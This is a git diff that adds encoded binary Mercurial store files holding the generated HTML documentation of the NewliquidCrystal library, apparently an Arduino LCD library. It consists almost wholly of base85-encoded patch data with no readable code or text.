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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__func.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__func.html.i new file mode 100644 index 0000000000000000000000000000000000000000..42a9dc22a9b4bd9e65f6ce9688fb3ffa775c6f22 GIT binary patch literal 5925 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 QW@laUzxd6qJ+8z50@^rMwEzGB literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__type.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__type.html.i new file mode 100644 index 0000000000000000000000000000000000000000..a08da56e106fa1a2ba85d4cd1055ed6fd0232714 GIT binary patch literal 3664 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 BOl<%F literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/hierarchy.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/hierarchy.html.i new file mode 100644 index 0000000000000000000000000000000000000000..1358613d14e9f065304d9d343c813cdd275067e2 GIT binary patch literal 5199 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 